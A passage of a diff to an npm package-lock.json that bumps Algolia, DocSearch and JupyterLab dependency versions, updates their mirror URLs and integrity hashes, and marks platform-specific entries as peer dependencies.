"sha512-F9xzQXTjm6UuZtnsLIew6KSraXQ0AzS/Ee+OD+mQbtcA/K1sg89tqb8TkwjtiYZ0oij13u3EapB3gPZwm+1Y6g==", "dev": true, "dependencies": { - "@algolia/client-common": "4.17.2", - "@algolia/requester-common": "4.17.2", - "@algolia/transporter": "4.17.2" + "@algolia/client-common": "4.18.0", + "@algolia/requester-common": "4.18.0", + "@algolia/transporter": "4.18.0" } }, "node_modules/@algolia/logger-common": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/logger-common/-/logger-common-4.17.2.tgz", - "integrity": "sha512-EfXuweUE+1HiSMsQidaDWA5Lv4NnStYIlh7PO5pLkI+sdhbMX0e5AO5nUAMIFM1VkEANes70RA8fzhP6OqCqQQ==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/logger-common/-/logger-common-4.18.0.tgz", + "integrity": "sha512-46etYgSlkoKepkMSyaoriSn2JDgcrpc/nkOgou/lm0y17GuMl9oYZxwKKTSviLKI5Irk9nSKGwnBTQYwXOYdRg==", "dev": true }, "node_modules/@algolia/logger-console": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/logger-console/-/logger-console-4.17.2.tgz", - "integrity": "sha512-JuG8HGVlJ+l/UEDK4h2Y8q/IEmRjQz1J0aS9tf6GPNbGYiSvMr1DDdZ+hqV3bb1XE6wU8Ypex56HisWMSpnG0A==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/logger-console/-/logger-console-4.18.0.tgz", + "integrity": "sha512-3P3VUYMl9CyJbi/UU1uUNlf6Z8N2ltW3Oqhq/nR7vH0CjWv32YROq3iGWGxB2xt3aXobdUPXs6P0tHSKRmNA6g==", "dev": true, "dependencies": { - "@algolia/logger-common": "4.17.2" + "@algolia/logger-common": "4.18.0" } }, "node_modules/@algolia/requester-browser-xhr": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.17.2.tgz", - "integrity": "sha512-FKI2lYWwksALfRt2OETFmGb5+P7WVc4py2Ai3H7k8FSfTLwVvs9WVVmtlx6oANQ8RFEK4B85h8DQJTJ29TDfmA==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.18.0.tgz", + "integrity": "sha512-/AcWHOBub2U4TE/bPi4Gz1XfuLK6/7dj4HJG+Z2SfQoS1RjNLshZclU3OoKIkFp8D2NC7+BNsPvr9cPLyW8nyQ==", "dev": true, "dependencies": { - "@algolia/requester-common": "4.17.2" + "@algolia/requester-common": "4.18.0" } }, "node_modules/@algolia/requester-common": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/requester-common/-/requester-common-4.17.2.tgz", - "integrity": "sha512-Rfim23ztAhYpE9qm+KCfCRo+YLJCjiiTG+IpDdzUjMpYPhUtirQT0A35YEd/gKn86YNyydxS9w8iRSjwKh+L0A==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/requester-common/-/requester-common-4.18.0.tgz", + "integrity": "sha512-xlT8R1qYNRBCi1IYLsx7uhftzdfsLPDGudeQs+xvYB4sQ3ya7+ppolB/8m/a4F2gCkEO6oxpp5AGemM7kD27jA==", "dev": true }, "node_modules/@algolia/requester-node-http": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/requester-node-http/-/requester-node-http-4.17.2.tgz", - "integrity": "sha512-E0b0kyCDMvUIhQmDNd/mH4fsKJdEEX6PkMKrYJjzm6moo+rP22tqpq4Rfe7DZD8OB6/LsDD3zs3Kvd+L+M5wwQ==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/requester-node-http/-/requester-node-http-4.18.0.tgz", + "integrity": "sha512-TGfwj9aeTVgOUhn5XrqBhwUhUUDnGIKlI0kCBMdR58XfXcfdwomka+CPIgThRbfYw04oQr31A6/95ZH2QVJ9UQ==", "dev": true, "dependencies": { - "@algolia/requester-common": "4.17.2" + "@algolia/requester-common": "4.18.0" } }, "node_modules/@algolia/transporter": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/transporter/-/transporter-4.17.2.tgz", - "integrity": "sha512-m8pXlz5OnNzjD1rcw+duCN4jG4yEzkJBsvKYMoN22Oq6rQwy1AY5muZ+IQUs4dL+A364CYkRMLRWhvXpCZ1x+g==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/transporter/-/transporter-4.18.0.tgz", + "integrity": "sha512-xbw3YRUGtXQNG1geYFEDDuFLZt4Z8YNKbamHPkzr3rWc6qp4/BqEeXcI2u/P/oMq2yxtXgMxrCxOPA8lyIe5jw==", "dev": true, "dependencies": { - "@algolia/cache-common": "4.17.2", - "@algolia/logger-common": "4.17.2", - "@algolia/requester-common": "4.17.2" + "@algolia/cache-common": "4.18.0", + "@algolia/logger-common": "4.18.0", + "@algolia/requester-common": "4.18.0" } }, "node_modules/@babel/parser": { @@ -272,30 +272,30 @@ } }, "node_modules/@docsearch/css": { - "version": "3.5.0", - "resolved": "https://registry.npmmirror.com/@docsearch/css/-/css-3.5.0.tgz", - "integrity": "sha512-Ob5FQLubplcBNihAVtriR59FRBeP8u69F6mu4L4yIr60KfsPc10bOV0DoPErJw0zF9IBN2cNLW9qdmt8zWPxyg==", + "version": "3.5.1", + "resolved": "https://registry.npmmirror.com/@docsearch/css/-/css-3.5.1.tgz", + "integrity": "sha512-2Pu9HDg/uP/IT10rbQ+4OrTQuxIWdKVUEdcw9/w7kZJv9NeHS6skJx1xuRiFyoGKwAzcHXnLp7csE99sj+O1YA==", "dev": true }, "node_modules/@docsearch/js": { - "version": "3.5.0", - "resolved": "https://registry.npmmirror.com/@docsearch/js/-/js-3.5.0.tgz", - "integrity": "sha512-WqB+z+zVKSXDkGq028nClT9RvMzfFlemZuIulX5ZwWkdUtl4k7M9cmZA/c6kuZf7FG24XQsMHWuBjeUo9hLRyA==", + "version": "3.5.1", + "resolved": "https://registry.npmmirror.com/@docsearch/js/-/js-3.5.1.tgz", + "integrity": "sha512-EXi8de5njxgP6TV3N9ytnGRLG9zmBNTEZjR4VzwPcpPLbZxxTLG2gaFyJyKiFVQxHW/DPlMrDJA3qoRRGEkgZw==", "dev": true, "dependencies": { - "@docsearch/react": "3.5.0", + "@docsearch/react": "3.5.1", "preact": "^10.0.0" } }, "node_modules/@docsearch/react": { - "version": "3.5.0", - "resolved": "https://registry.npmmirror.com/@docsearch/react/-/react-3.5.0.tgz", - "integrity": "sha512-3IG8mmSMzSHNGy2S1VuPyYU9tFCxFpj5Ov8SYwsSHM4yMvFsaO9oFxXocA5lSenliIELhuOuS5+BdxHa/Qlf2A==", + "version": "3.5.1", + "resolved": "https://registry.npmmirror.com/@docsearch/react/-/react-3.5.1.tgz", + "integrity": "sha512-t5mEODdLzZq4PTFAm/dvqcvZFdPDMdfPE5rJS5SC8OUq9mPzxEy6b+9THIqNM9P0ocCb4UC5jqBrxKclnuIbzQ==", "dev": true, "dependencies": { - "@algolia/autocomplete-core": "1.9.2", - "@algolia/autocomplete-preset-algolia": "1.9.2", - "@docsearch/css": "3.5.0", + "@algolia/autocomplete-core": "1.9.3", + "@algolia/autocomplete-preset-algolia": "1.9.3", + "@docsearch/css": "3.5.1", "algoliasearch": "^4.0.0" }, "peerDependencies": { @@ -328,6 +328,7 @@ "os": [ "android" ], + "peer": true, "engines": { "node": ">=12" } @@ -345,6 +346,7 @@ "os": [ "android" ], + "peer": true, "engines": { "node": ">=12" } @@ -362,6 +364,7 @@ "os": [ "android" ], + "peer": true, "engines": { "node": ">=12" } @@ -379,6 +382,7 @@ "os": [ "darwin" ], + "peer": true, "engines": { "node": ">=12" } @@ -396,6 +400,7 @@ "os": [ "darwin" ], + "peer": true, "engines": { "node": ">=12" } @@ -413,6 +418,7 @@ "os": [ "freebsd" ], + "peer": true, "engines": { "node": ">=12" } @@ -430,6 +436,7 @@ "os": [ "freebsd" ], + "peer": true, "engines": { "node": ">=12" } @@ -447,6 +454,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">=12" } @@ -464,6 +472,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">=12" } @@ -481,6 +490,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">=12" } @@ -498,6 +508,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">=12" } @@ -515,6 +526,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">=12" } @@ -532,6 +544,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">=12" } @@ -549,6 +562,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">=12" } @@ -566,6 +580,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">=12" } @@ -583,6 +598,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">=12" } @@ -600,6 +616,7 @@ "os": [ "netbsd" ], + "peer": true, "engines": { "node": ">=12" } @@ -617,6 +634,7 @@ "os": [ "openbsd" ], + "peer": true, "engines": { "node": ">=12" } @@ -634,6 +652,7 @@ "os": [ "sunos" ], + "peer": true, "engines": { "node": ">=12" } @@ -651,6 +670,7 @@ "os": [ "win32" ], + "peer": true, "engines": { "node": ">=12" } @@ -668,6 +688,7 @@ "os": [ "win32" ], + "peer": true, "engines": { "node": ">=12" } @@ -685,6 +706,7 @@ "os": [ "win32" ], + "peer": true, "engines": { "node": ">=12" } @@ -719,20 +741,20 @@ } }, "node_modules/@jupyterlab/application": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/application/-/application-4.0.2.tgz", - "integrity": "sha512-sFF2YJBRiJGu6Jx2PE/JRwmwuLTs9eHEoqaZGCD6H4loj8iDlCuwb26JVmbCz94QzgB00KFMYCBV6K7UWhid9g==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/application/-/application-4.0.3.tgz", + "integrity": "sha512-fnZe+j3ZJg0zVZuDxHOkafqhB9SFiIWestFqfJ+2bvnPxVfBd5kAJdGi8U56TV4KxKdNbhnRV4POIQAedtCoRA==", "dependencies": { "@fortawesome/fontawesome-free": "^5.12.0", - "@jupyterlab/apputils": "^4.1.2", - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/docregistry": "^4.0.2", - "@jupyterlab/rendermime": "^4.0.2", - "@jupyterlab/rendermime-interfaces": "^3.8.2", - "@jupyterlab/services": "^7.0.2", - "@jupyterlab/statedb": "^4.0.2", - "@jupyterlab/translation": "^4.0.2", - "@jupyterlab/ui-components": "^4.0.2", + "@jupyterlab/apputils": "^4.1.3", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/docregistry": "^4.0.3", + "@jupyterlab/rendermime": "^4.0.3", + "@jupyterlab/rendermime-interfaces": "^3.8.3", + "@jupyterlab/services": "^7.0.3", + "@jupyterlab/statedb": "^4.0.3", + "@jupyterlab/translation": "^4.0.3", + "@jupyterlab/ui-components": "^4.0.3", "@lumino/algorithm": "^2.0.0", "@lumino/application": "^2.1.1", "@lumino/commands": "^2.1.1", @@ -751,19 +773,19 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/apputils": { - "version": "4.1.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/apputils/-/apputils-4.1.2.tgz", - "integrity": "sha512-Gj4xd4i+y7j6W1n+cJVA+LBC20fcFUanxDxZfaYwfSFA9b/7ijx3dfw9zRY9taqzBdun17HCjynvLbOJfMwYEg==", + "version": "4.1.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/apputils/-/apputils-4.1.3.tgz", + "integrity": "sha512-63k/fYrHkIePxT9ATMw76oSBqqTYDS3uBLNRxCB/B6MLYJeSN1Zo6Wsky+LdanuUAqtvXYMady0WTiSo1P1mzQ==", "dependencies": { - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/observables": "^5.0.2", - "@jupyterlab/rendermime-interfaces": "^3.8.2", - "@jupyterlab/services": "^7.0.2", - "@jupyterlab/settingregistry": "^4.0.2", - "@jupyterlab/statedb": "^4.0.2", - "@jupyterlab/statusbar": "^4.0.2", - "@jupyterlab/translation": "^4.0.2", - "@jupyterlab/ui-components": "^4.0.2", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/observables": "^5.0.3", + "@jupyterlab/rendermime-interfaces": "^3.8.3", + "@jupyterlab/services": "^7.0.3", + "@jupyterlab/settingregistry": "^4.0.3", + "@jupyterlab/statedb": "^4.0.3", + "@jupyterlab/statusbar": "^4.0.3", + "@jupyterlab/translation": "^4.0.3", + "@jupyterlab/ui-components": "^4.0.3", "@lumino/algorithm": "^2.0.0", "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", @@ -784,18 +806,18 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/codeeditor": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/codeeditor/-/codeeditor-4.0.2.tgz", - "integrity": "sha512-7YmKs8litDFfB1oGUcA6SKylx8VnBYDW5fqbLapzhhvBQD5lPK/Gk3vaDF5U8BwsjQqHVeK2+5ZJPYKJYKGzGg==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/codeeditor/-/codeeditor-4.0.3.tgz", + "integrity": "sha512-dBgAbHj04ff6lTf31HTPKs2P1iK1G/Y3ah2AGLHhK6p1JEDwH09/3fMrOQhfKa8Ehy/cXe8mNdTydeguxzdOwQ==", "dependencies": { "@codemirror/state": "^6.2.0", "@jupyter/ydoc": "^1.0.2", - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/nbformat": "^4.0.2", - "@jupyterlab/observables": "^5.0.2", - "@jupyterlab/statusbar": "^4.0.2", - "@jupyterlab/translation": "^4.0.2", - "@jupyterlab/ui-components": "^4.0.2", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/nbformat": "^4.0.3", + "@jupyterlab/observables": "^5.0.3", + "@jupyterlab/statusbar": "^4.0.3", + "@jupyterlab/translation": "^4.0.3", + "@jupyterlab/ui-components": "^4.0.3", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", "@lumino/dragdrop": "^2.1.1", @@ -811,9 +833,9 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/coreutils": { - "version": "6.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/coreutils/-/coreutils-6.0.2.tgz", - "integrity": "sha512-jSGATyE11MuX1gbH/QYJZkYh8ddbV8SdRQ36U5Exy/oAL0ukF6vqfpIpDpo/EAW+p9aDBlSnvi3WtgyVQcltqg==", + "version": "6.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/coreutils/-/coreutils-6.0.3.tgz", + "integrity": "sha512-4OUzPBw9TXUIiqj0+cujD1d6u0wuIc00P9BNLLZrH6O1SVt2boQaD5TpDtBx1z6hLgg0URXvM497ZtjBntwknA==", "dependencies": { "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -829,20 +851,20 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/docregistry": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/docregistry/-/docregistry-4.0.2.tgz", - "integrity": "sha512-juWWfov9RK0fuvhj7ckVgmYqiwQPFSoKs040Wv9nppnYDfNJDQQmQMPFlSJA0irZ9AxfTyf1+TjRe+WVQcHvvg==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/docregistry/-/docregistry-4.0.3.tgz", + "integrity": "sha512-Gt8U6c2aaezMzyRzHUa3SBRPTALX8nvlx/x6Q6EtY31ng6BU2/EulS9e3PCzrFhxg+gxeyyQsm4CqLfzV2Pvdw==", "dependencies": { "@jupyter/ydoc": "^1.0.2", - "@jupyterlab/apputils": "^4.1.2", - "@jupyterlab/codeeditor": "^4.0.2", - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/observables": "^5.0.2", - "@jupyterlab/rendermime": "^4.0.2", - "@jupyterlab/rendermime-interfaces": "^3.8.2", - "@jupyterlab/services": "^7.0.2", - "@jupyterlab/translation": "^4.0.2", - "@jupyterlab/ui-components": "^4.0.2", + "@jupyterlab/apputils": "^4.1.3", + "@jupyterlab/codeeditor": "^4.0.3", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/observables": "^5.0.3", + "@jupyterlab/rendermime": "^4.0.3", + "@jupyterlab/rendermime-interfaces": "^3.8.3", + "@jupyterlab/services": "^7.0.3", + "@jupyterlab/translation": "^4.0.3", + "@jupyterlab/ui-components": "^4.0.3", "@lumino/algorithm": "^2.0.0", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -867,9 +889,9 @@ } }, "node_modules/@jupyterlab/nbformat": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/nbformat/-/nbformat-4.0.2.tgz", - "integrity": "sha512-K83wDb1iUViTk4mj228SR4E0GPASiykXcD/tVYAOvxWv8TsaZ2UK/dcX4ZtBEZpVqI5enRrq8Z7xISMR+3CRBg==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/nbformat/-/nbformat-4.0.3.tgz", + "integrity": "sha512-wpOktEi5XLPrAvTH+xkimeDghOz+oj1lPUHLeRTzcYBZfMybHQxV9XKfroXllcypkyqSBI5Ppfv6/GYeQQzmHQ==", "dependencies": { "@lumino/coreutils": "^2.1.1" } @@ -880,9 +902,9 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/observables": { - "version": "5.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/observables/-/observables-5.0.2.tgz", - "integrity": "sha512-mZowpnUrfKqjc2OjwBjI4je2idMaoM3OURCcPMlcCVCZUUiFEB2SOCx8/1jWrotw/er5Cjp7vROZ7Iz8BiIW1g==", + "version": "5.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/observables/-/observables-5.0.3.tgz", + "integrity": "sha512-g71z04PIl7i7PrJDEXFirTwCjotXgVl/9WCYDXdXGIN5QDUkY4P8b1J7aRNaZxW0dTa3FA+W5zOD4EdfFDNeNg==", "dependencies": { "@lumino/algorithm": "^2.0.0", "@lumino/coreutils": "^2.1.1", @@ -897,17 +919,17 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/rendermime": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime/-/rendermime-4.0.2.tgz", - "integrity": "sha512-x5nPqwGnJCkbS6+jEmhN/fKNSM22DCbO+vwZYAa8dbcL+xURRE7iockxX6cpdHhMNeQ/JlZ5m4HQyTmIzd4N/Q==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime/-/rendermime-4.0.3.tgz", + "integrity": "sha512-Bb9OMtyVN4hBPvnnPMS0q1CStmXK7Owlf3PWokGmyNFBBwheoEgPu3+gIuUpolDpQdDsq/AFOCQj1eLVHekPTQ==", "dependencies": { - "@jupyterlab/apputils": "^4.1.2", - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/nbformat": "^4.0.2", - "@jupyterlab/observables": "^5.0.2", - "@jupyterlab/rendermime-interfaces": "^3.8.2", - "@jupyterlab/services": "^7.0.2", - "@jupyterlab/translation": "^4.0.2", + "@jupyterlab/apputils": "^4.1.3", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/nbformat": "^4.0.3", + "@jupyterlab/observables": "^5.0.3", + "@jupyterlab/rendermime-interfaces": "^3.8.3", + "@jupyterlab/services": "^7.0.3", + "@jupyterlab/translation": "^4.0.3", "@lumino/coreutils": "^2.1.1", "@lumino/messaging": "^2.0.0", "@lumino/signaling": "^2.1.1", @@ -916,9 +938,9 @@ } }, "node_modules/@jupyterlab/rendermime-interfaces": { - "version": "3.8.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime-interfaces/-/rendermime-interfaces-3.8.2.tgz", - "integrity": "sha512-IOnzA/ccfwXGO/RaWysYn74ojJ7PaH5igTnS0sjo4qIprFZ6tCORTrKF594BA7Qz6PpW2+GpdUVMUnnYdU5R9Q==", + "version": "3.8.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime-interfaces/-/rendermime-interfaces-3.8.3.tgz", + "integrity": "sha512-XG0Wp/WMXcWdAILej766VpeXUAN31XYSAW9mMTw5Y+SQFfBAmHBekLMp+/+aG8n3ngqXcALeYIwBR3eF4QsKcA==", "dependencies": { "@lumino/coreutils": "^1.11.0 || ^2.1.1", "@lumino/widgets": "^1.37.2 || ^2.1.1" @@ -935,15 +957,15 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/services": { - "version": "7.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/services/-/services-7.0.2.tgz", - "integrity": "sha512-luhc5wVdojQ0kVM1EMv7HkI6eiEU36Sj69a0vNRFj2U+VcgN9Dicb+vlOZnS1cOOGNhSRjKuaREkXRfEETsq3A==", + "version": "7.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/services/-/services-7.0.3.tgz", + "integrity": "sha512-JeOsylwfSIjDMUktB3qRXYJ7hJkrHHdwo2PDGgtT4Uevdw1SB7eBCfYA2B9IIDUKJBfV6BWqbqMWz/DNOgDPwg==", "dependencies": { "@jupyter/ydoc": "^1.0.2", - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/nbformat": "^4.0.2", - "@jupyterlab/settingregistry": "^4.0.2", - "@jupyterlab/statedb": "^4.0.2", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/nbformat": "^4.0.3", + "@jupyterlab/settingregistry": "^4.0.3", + "@jupyterlab/statedb": "^4.0.3", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", "@lumino/polling": "^2.1.1", @@ -958,12 +980,12 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/settingregistry": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/settingregistry/-/settingregistry-4.0.2.tgz", - "integrity": "sha512-c0HrgJescIoEz+DWm1wt7pNYGaMK1kq+7Ask8BRJBWJwwg9RuIrgPUd58Kc14YGNvIvDTPvgltUunhQIBZJQzg==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/settingregistry/-/settingregistry-4.0.3.tgz", + "integrity": "sha512-hwOJkp9xW0K68in+Mi11SzqAcVU95hBTOPKRDvpjHjvURA6BUHeYYCSlpre1kzBn6FrySP9DCmOnK9wb/82KoA==", "dependencies": { - "@jupyterlab/nbformat": "^4.0.2", - "@jupyterlab/statedb": "^4.0.2", + "@jupyterlab/nbformat": "^4.0.3", + "@jupyterlab/statedb": "^4.0.3", "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -982,9 +1004,9 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/statedb": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/statedb/-/statedb-4.0.2.tgz", - "integrity": "sha512-erVHlzJkd8xPsOHyAlImJgOAS9ohq4zRloX2+VMpCJHeYrK5z/KO9mVQlAFFC1JNlm3C3JjnvZBbTAZshzsMHA==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/statedb/-/statedb-4.0.3.tgz", + "integrity": "sha512-/RDoOKYOR2+fIa9gVoNXjwXRQCZqcF0ilwJlyVz6um8hWqDDUlG/lJpUV6A2LZ0nnX6o7+RPQlKkW+6ns7WX8A==", "dependencies": { "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", @@ -999,11 +1021,11 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/statusbar": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/statusbar/-/statusbar-4.0.2.tgz", - "integrity": "sha512-5p3tSG/VM8TQ1SDIPRYBK0P2Bh+2VK1eCiCna/Zane3OHZww99JM+7yySiGYffbJuhD5ZHp+a8IYXAbAE5xVOg==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/statusbar/-/statusbar-4.0.3.tgz", + "integrity": "sha512-oGCrkD1xBfNP84xD0EJ7kuzRnxLrH2HqoB9x+EksrqglrFWreUnx/cq2KImBctsOr3w2zyoqIXF9W23gy0xk5A==", "dependencies": { - "@jupyterlab/ui-components": "^4.0.2", + "@jupyterlab/ui-components": "^4.0.3", "@lumino/algorithm": "^2.0.0", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -1019,24 +1041,24 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/theme-light-extension": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/theme-light-extension/-/theme-light-extension-4.0.2.tgz", - "integrity": "sha512-HFwCXbe/3u3Feo/XQEN3zd15Hsa2TGgBAVuViZ935BZ0sipATpiNYWAmLx2HBqUisuI/zN6Lrkh8Uw1S73WBOQ==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/theme-light-extension/-/theme-light-extension-4.0.3.tgz", + "integrity": "sha512-Wp2mIW0W47x2vU0JnTBS/8iuvFJQ44QRjdhWYMPaRmVpqScP8nqgUV36gx1VqYNkuZL2qlreF8PBj4TRxgZmYA==", "dependencies": { - "@jupyterlab/application": "^4.0.2", - "@jupyterlab/apputils": "^4.1.2", - "@jupyterlab/translation": "^4.0.2" + "@jupyterlab/application": "^4.0.3", + "@jupyterlab/apputils": "^4.1.3", + "@jupyterlab/translation": "^4.0.3" } }, "node_modules/@jupyterlab/translation": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/translation/-/translation-4.0.2.tgz", - "integrity": "sha512-EiYk/dt4hBAnrHKw7YXfeKmqvug6bWadQVthY0lRE18FuSKVAOgWv2qRAxOSZEWiFyUjEKutUg5OOms6KCHZFA==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/translation/-/translation-4.0.3.tgz", + "integrity": "sha512-II6xupfMXkzvLVrQb60gm/sLkPf2LsHgvk1jCeOdH+4N+lbzpMsL9mxkNj7egH9FbLbW7OWqrzBb8h3MksYrPg==", "dependencies": { - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/rendermime-interfaces": "^3.8.2", - "@jupyterlab/services": "^7.0.2", - "@jupyterlab/statedb": "^4.0.2", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/rendermime-interfaces": "^3.8.3", + "@jupyterlab/services": "^7.0.3", + "@jupyterlab/statedb": "^4.0.3", "@lumino/coreutils": "^2.1.1" } }, @@ -1046,14 +1068,14 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/ui-components": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/ui-components/-/ui-components-4.0.2.tgz", - "integrity": "sha512-TdLgTmHzi4NuRXUCls0Nh2+C2x66tQzimQRt6hRklpB9RCI2uNcr23HXe70Dc+nNXNHwXePbnT+MAsLbWHjfDw==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/ui-components/-/ui-components-4.0.3.tgz", + "integrity": "sha512-6rbqufHggkI501Pbe1hYCKsnXHje2OCUuc25SVSEgXybyDESTfyZqR4ahv0/0g4PXECWflIQakNFEaqQiAT0yg==", "dependencies": { - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/observables": "^5.0.2", - "@jupyterlab/rendermime-interfaces": "^3.8.2", - "@jupyterlab/translation": "^4.0.2", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/observables": "^5.0.3", + "@jupyterlab/rendermime-interfaces": "^3.8.3", + 